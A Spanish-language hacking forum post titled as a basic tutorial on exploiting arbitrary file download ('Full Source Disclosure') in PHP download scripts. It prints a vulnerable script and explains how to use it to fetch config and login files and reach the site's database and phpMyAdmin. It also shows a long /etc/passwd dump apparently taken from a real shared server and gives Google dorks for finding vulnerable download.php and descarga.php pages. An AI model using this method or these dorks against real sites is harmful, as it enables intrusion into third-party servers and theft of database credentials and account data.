Full Source Disclosure [Tutorial Basico]

Iniciado por Pr0ph3t, Mayo 08, 2012, 04:55:50 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

0×01: Introducción

Full Source Disclosure es una vulnerabilidad que permite descargar cualquier tipo de archivo del servidor/web, permitiendo asi ver el codigo fuente de la misma web incluyendo la DB. Muchas veces se presenta, Como ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

0×02: Explotacion de la vulnerabilidad


Primero procedemos a descargar el archivo vulnerable, para ver su funcionamiento, en primera instancia esto es importante para poder determinar los demas archivos hasta llegar a nuestro objetivo clave, la base de datos.

Código: php
  <?
    require ("../Include/PathWeb.php");
    $Archivo     = $_GET["Archivo"];
    $PathCompleto    = $DirWeb."/".$_GET["Path"]."/".$Archivo;

    $file_extension = strtolower(substr(strrchr($Archivo,"."),1));

    switch ($file_extension) {
    case "pdf": $ctype="application/pdf"; break;
    case "exe": $ctype="application/octet-stream"; break;
    case "zip": $ctype="application/zip"; break;
    case "doc": $ctype="application/msword"; break;
    case "xls": $ctype="application/vnd.ms-excel"; break;
    case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
    case "gif": $ctype="image/gif"; break;
    case "png": $ctype="image/png"; break;
    case "jpe": case "jpeg":
    case "jpg": $ctype="image/jpg"; break;
    default: $ctype="application/force-download";
    }
    if (!file_exists($PathCompleto)) die("NO EXISTE EL ARCHIVO: $PathCompleto");

    header("Pragma: public");
    header("Expires: 0″);
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0″);
    header("Cache-Control: private",false);
    header("Content-Type: $ctype");
    header("Content-Disposition: attachment; filename=\"".basename($Archivo)."\";");
    header("Content-Transfer-Encoding: binary");
    header("Content-Length: ".@filesize($PathCompleto));
    set_time_limit(0);
    @readfile("$PathCompleto") or die("Archivo no encontrado.");
    ?>


Como vemos la variable archivo pasa por una mala comprobacion de la misma, por lo tanto podremos bajar y ver el codigo fuente de cualquier archivo que nosotros queramos. Con un poco de ingenio podemos ir buscando por los demas archivos hospedados, vemos que en descargas.php aparece la linea require ("../Include/PathWeb.php"); asi que prodeceremos a descargar ese archivo, buscando un poco encontre un panel de administracion, mire el action del formulario




Veo que apunta a Login.php, asi que bajando el archivo con el downloader vulnerable seguramente encontremos la DB.



Si tenemos suerte encontraremos el phpmyadmin y lo demas a imaginacion.

Tambien como dije al principio, pasaria a ser vulnerable el servidor, por lo que si intentamos descargar un archivo de el conociendo su ruta obviamente podremos verlo, como ejemplo tomo el famoso /etc/passwd:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: php
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/bin/true
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
admin:x:500:500::/home/admin:/bin/bash
majordomo:x:91:91:Majordomo List Manager:/usr/lib/majordomo:/bin/bash
fpweb:x:501:501::/home/fpweb:/bin/bash
tomcat4:x:100:101:Tomcat4:/var/tomcat4:/bin/bash
clamav:x:101:102:Clam Anti Virus Checker:/var/clamav:/sbin/nologin
vhbackup:x:502:502::/home/vhbackup:/bin/bash
admin174:x:504:504::/home/virtual/site174/fst:/bin/false
admin102:x:509:509::/home/virtual/site102/fst:/bin/false
admin289:x:515:515::/home/virtual/site289/fst:/bin/false
admin177:x:518:518::/home/virtual/site177/fst:/bin/false
admin173:x:519:519::/home/virtual/site173/fst:/bin/false
admin18:x:522:522::/home/virtual/site18/fst:/bin/false
admin270:x:525:525::/home/virtual/site270/fst:/bin/false
admin22:x:538:538::/home/virtual/site22/fst:/bin/false
admin234:x:539:539::/home/virtual/site234/fst:/bin/false
admin21:x:540:540::/home/virtual/site21/fst:/bin/false
admin163:x:541:541::/home/virtual/site163/fst:/bin/false
admin235:x:544:544::/home/virtual/site235/fst:/bin/false
admin19:x:547:547::/home/virtual/site19/fst:/bin/false
admin28:x:548:548::/home/virtual/site28/fst:/bin/false
admin11:x:554:554::/home/virtual/site11/fst:/bin/false
admin233:x:555:555::/home/virtual/site233/fst:/bin/false
admin108:x:556:556::/home/virtual/site108/fst:/bin/false
admin30:x:570:570::/home/virtual/site30/fst:/bin/false
admin1:x:575:575::/home/virtual/site1/fst:/bin/false
admin321:x:578:578::/home/virtual/site321/fst:/bin/false
admin192:x:580:580::/home/virtual/site192/fst:/bin/false
admin320:x:595:595::/home/virtual/site320/fst:/bin/false
admin71:x:602:602::/home/virtual/site71/fst:/bin/false
admin41:x:604:604::/home/virtual/site41/fst:/bin/false
admin37:x:606:606::/home/virtual/site37/fst:/bin/false
admin400:x:610:610::/home/virtual/site400/fst:/bin/false
admin91:x:611:611::/home/virtual/site91/fst:/bin/false
admin90:x:612:612::/home/virtual/site90/fst:/bin/false
admin371:x:613:613::/home/virtual/site371/fst:/bin/false
admin45:x:614:614::/home/virtual/site45/fst:/bin/false
admin47:x:616:616::/home/virtual/site47/fst:/bin/false
admin398:x:617:617::/home/virtual/site398/fst:/bin/false
admin379:x:626:626::/home/virtual/site379/fst:/bin/false
admin5:x:627:627::/home/virtual/site5/fst:/bin/false
admin360:x:630:630::/home/virtual/site360/fst:/bin/false
admin407:x:632:632::/home/virtual/site407/fst:/bin/false
admin92:x:634:634::/home/virtual/site92/fst:/bin/false
admin94:x:635:635::/home/virtual/site94/fst:/bin/false
admin7:x:638:638::/home/virtual/site7/fst:/bin/false
admin374:x:647:647::/home/virtual/site374/fst:/bin/false
admin78:x:656:656::/home/virtual/site78/fst:/bin/false
admin365:x:659:659::/home/virtual/site365/fst:/bin/false
admin399:x:660:660::/home/virtual/site399/fst:/bin/false
admin54:x:662:662::/home/virtual/site54/fst:/bin/false
admin52:x:664:664::/home/virtual/site52/fst:/bin/false
admin88:x:665:665::/home/virtual/site88/fst:/bin/false
admin96:x:666:666::/home/virtual/site96/fst:/bin/false
admin74:x:670:670::/home/virtual/site74/fst:/bin/false
admin58:x:672:672::/home/virtual/site58/fst:/bin/false
admin369:x:678:678::/home/virtual/site369/fst:/bin/false
admin50:x:685:685::/home/virtual/site50/fst:/bin/false
admin87:x:686:686::/home/virtual/site87/fst:/bin/false
admin66:x:689:689::/home/virtual/site66/fst:/bin/false
admin67:x:690:690::/home/virtual/site67/fst:/bin/false
admin35:x:691:691::/home/virtual/site35/fst:/bin/false
admin89:x:692:692::/home/virtual/site89/fst:/bin/false
admin72:x:705:705::/home/virtual/site72/fst:/bin/false
admin341:x:706:706::/home/virtual/site341/fst:/bin/false
admin356:x:707:707::/home/virtual/site356/fst:/bin/false
admin357:x:708:708::/home/virtual/site357/fst:/bin/false
admin355:x:709:709::/home/virtual/site355/fst:/bin/false
admin354:x:711:711::/home/virtual/site354/fst:/bin/false
admin53:x:719:719::/home/virtual/site53/fst:/bin/false
admin105:x:725:725::/home/virtual/site105/fst:/bin/false
admin118:x:728:728::/home/virtual/site118/fst:/bin/false
admin124:x:732:732::/home/virtual/site124/fst:/bin/false
admin126:x:734:734::/home/virtual/site126/fst:/bin/false
admin132:x:741:741::/home/virtual/site132/fst:/bin/false
admin133:x:742:742::/home/virtual/site133/fst:/bin/false
admin134:x:743:743::/home/virtual/site134/fst:/bin/false
admin31:x:746:746::/home/virtual/site31/fst:/bin/false
admin14:x:748:748::/home/virtual/site14/fst:/bin/false
admin138:x:756:756::/home/virtual/site138/fst:/bin/false
admin140:x:758:758::/home/virtual/site140/fst:/bin/false
castellanosbk:x:760:760::/home/castellanosbk:/bin/bash
admin70:x:763:763::/home/virtual/site70/fst:/bin/false
admin142:x:764:764::/home/virtual/site142/fst:/bin/false
admin143:x:765:765::/home/virtual/site143/fst:/bin/false
admin86:x:767:767::/home/virtual/site86/fst:/bin/false
admin155:x:780:780::/home/virtual/site155/fst:/bin/false
admin158:x:783:783::/home/virtual/site158/fst:/bin/false
admin125:x:788:788::/home/virtual/site125/fst:/bin/false
admin170:x:794:794::/home/virtual/site170/fst:/bin/false
admin29:x:801:801::/home/virtual/site29/fst:/bin/false
admin148:x:812:812::/home/virtual/site148/fst:/bin/false
admin82:x:814:814::/home/virtual/site82/fst:/bin/false
admin130:x:815:815::/home/virtual/site130/fst:/bin/false
admin179:x:823:823::/home/virtual/site179/fst:/bin/false
admin75:x:829:829::/home/virtual/site75/fst:/bin/false
admin187:x:832:832::/home/virtual/site187/fst:/bin/false
admin188:x:833:833::/home/virtual/site188/fst:/bin/false
admin131:x:837:837::/home/virtual/site131/fst:/bin/false
admin100:x:839:839::/home/virtual/site100/fst:/bin/false
admin129:x:840:840::/home/virtual/site129/fst:/bin/false
admin65:x:845:845::/home/virtual/site65/fst:/bin/false
admin16:x:846:846::/home/virtual/site16/fst:/bin/false
admin81:x:849:849::/home/virtual/site81/fst:/bin/false
admin10:x:850:850::/home/virtual/site10/fst:/bin/false
admin13:x:851:851::/home/virtual/site13/fst:/bin/false
admin48:x:853:853::/home/virtual/site48/fst:/bin/false
admin59:x:856:856::/home/virtual/site59/fst:/bin/false
admin20:x:857:857::/home/virtual/site20/fst:/bin/false
admin63:x:858:858::/home/virtual/site63/fst:/bin/false
admin110:x:864:864::/home/virtual/site110/fst:/bin/false
admin117:x:867:867::/home/virtual/site117/fst:/bin/false
admin139:x:870:870::/home/virtual/site139/fst:/bin/false
admin144:x:871:871::/home/virtual/site144/fst:/bin/false
admin145:x:872:872::/home/virtual/site145/fst:/bin/false
admin146:x:873:873::/home/virtual/site146/fst:/bin/false
admin153:x:876:876::/home/virtual/site153/fst:/bin/false
admin164:x:882:882::/home/virtual/site164/fst:/bin/false
admin107:x:889:889::/home/virtual/site107/fst:/bin/false
admin127:x:890:890::/home/virtual/site127/fst:/bin/false
admin32:x:893:893::/home/virtual/site32/fst:/bin/false
admin68:x:895:895::/home/virtual/site68/fst:/bin/false
admin85:x:897:897::/home/virtual/site85/fst:/bin/false
admin119:x:898:898::/home/virtual/site119/fst:/bin/false
admin3:x:899:899::/home/virtual/site3/fst:/bin/false
admin111:x:901:901::/home/virtual/site111/fst:/bin/false
admin25:x:906:906::/home/virtual/site25/fst:/bin/false
admin73:x:908:908::/home/virtual/site73/fst:/bin/false
admin9:x:911:911::/home/virtual/site9/fst:/bin/false
admin36:x:919:919::/home/virtual/site36/fst:/bin/false
admin101:x:920:920::/home/virtual/site101/fst:/bin/false
admin56:x:923:923::/home/virtual/site56/fst:/bin/false
admin122:x:929:929::/home/virtual/site122/fst:/bin/false
admin2:x:930:930::/home/virtual/site2/fst:/bin/false
admin44:x:933:933::/home/virtual/site44/fst:/bin/false
admin42:x:934:934::/home/virtual/site42/fst:/bin/false
admin79:x:937:937::/home/virtual/site79/fst:/bin/false
admin80:x:938:938::/home/virtual/site80/fst:/bin/false
admin97:x:939:939::/home/virtual/site97/fst:/bin/false
admin113:x:943:943::/home/virtual/site113/fst:/bin/false
admin128:x:947:947::/home/virtual/site128/fst:/bin/false
admin61:x:949:949::/home/virtual/site61/fst:/bin/false
admin137:x:953:953::/home/virtual/site137/fst:/bin/false
admin141:x:954:954::/home/virtual/site141/fst:/bin/false
admin150:x:957:957::/home/virtual/site150/fst:/bin/false
admin152:x:959:959::/home/virtual/site152/fst:/bin/false
admin154:x:960:960::/home/virtual/site154/fst:/bin/false
admin162:x:962:962::/home/virtual/site162/fst:/bin/false
admin165:x:963:963::/home/virtual/site165/fst:/bin/false
admin15:x:964:964::/home/virtual/site15/fst:/bin/false
admin4:x:965:965::/home/virtual/site4/fst:/bin/false
admin17:x:966:966::/home/virtual/site17/fst:/bin/false
admin6:x:967:967::/home/virtual/site6/fst:/bin/false
admin24:x:968:968::/home/virtual/site24/fst:/bin/false
admin34:x:972:972::/home/virtual/site34/fst:/bin/false
admin83:x:973:973::/home/virtual/site83/fst:/bin/false
admin49:x:974:974::/home/virtual/site49/fst:/bin/false
admin27:x:977:977::/home/virtual/site27/fst:/bin/false
admin23:x:978:978::/home/virtual/site23/fst:/bin/false
admin103:x:980:980::/home/virtual/site103/fst:/bin/false
admin60:x:981:981::/home/virtual/site60/fst:/bin/false
admin93:x:983:983::/home/virtual/site93/fst:/bin/false
admin104:x:984:984::/home/virtual/site104/fst:/bin/false
admin55:x:985:985::/home/virtual/site55/fst:/bin/false
admin33:x:986:986::/home/virtual/site33/fst:/bin/false
admin39:x:987:987::/home/virtual/site39/fst:/bin/false
admin38:x:988:988::/home/virtual/site38/fst:/bin/false
admin8:x:989:989::/home/virtual/site8/fst:/bin/false
admin43:x:990:990::/home/virtual/site43/fst:/bin/false
admin51:x:991:991::/home/virtual/site51/fst:/bin/false
admin57:x:992:992::/home/virtual/site57/fst:/bin/false
admin62:x:993:993::/home/virtual/site62/fst:/bin/false
admin95:x:995:995::/home/virtual/site95/fst:/bin/false
admin26:x:996:996::/home/virtual/site26/fst:/bin/false
admin69:x:997:997::/home/virtual/site69/fst:/bin/false
admin40:x:998:998::/home/virtual/site40/fst:/bin/false
admin99:x:999:999::/home/virtual/site99/fst:/bin/false
admin12:x:1000:1000::/home/virtual/site12/fst:/bin/false
admin46:x:1001:1001::/home/virtual/site46/fst:/bin/false
admin76:x:1002:1002::/home/virtual/site76/fst:/bin/false
admin77:x:1003:1003::/home/virtual/site77/fst:/bin/false
admin84:x:1004:1004::/home/virtual/site84/fst:/bin/false
admin98:x:1005:1005::/home/virtual/site98/fst:/bin/false
admin106:x:1006:1006::/home/virtual/site106/fst:/bin/false


0×03: Dorks mas comunes

inurl:download.php?file=
inurl:download.php?path=
inurl:download.php?song=
inurl:descarga.php?archivo=
inurl:descarga.php?file=
inurl:descarga.php?arc=
inurl:download.php?*=*.doc

En si esta vulnerabilidad esta bastante conocida por la mayoria de nosotros, pero estuve viendo que en el foro no hay mucha informacion acerca de ella, asi que considero a este mini-tutorial un aporte.

FUENTE: InfiernoHacker
Twitter: @The_Pr0ph3t
[email protected]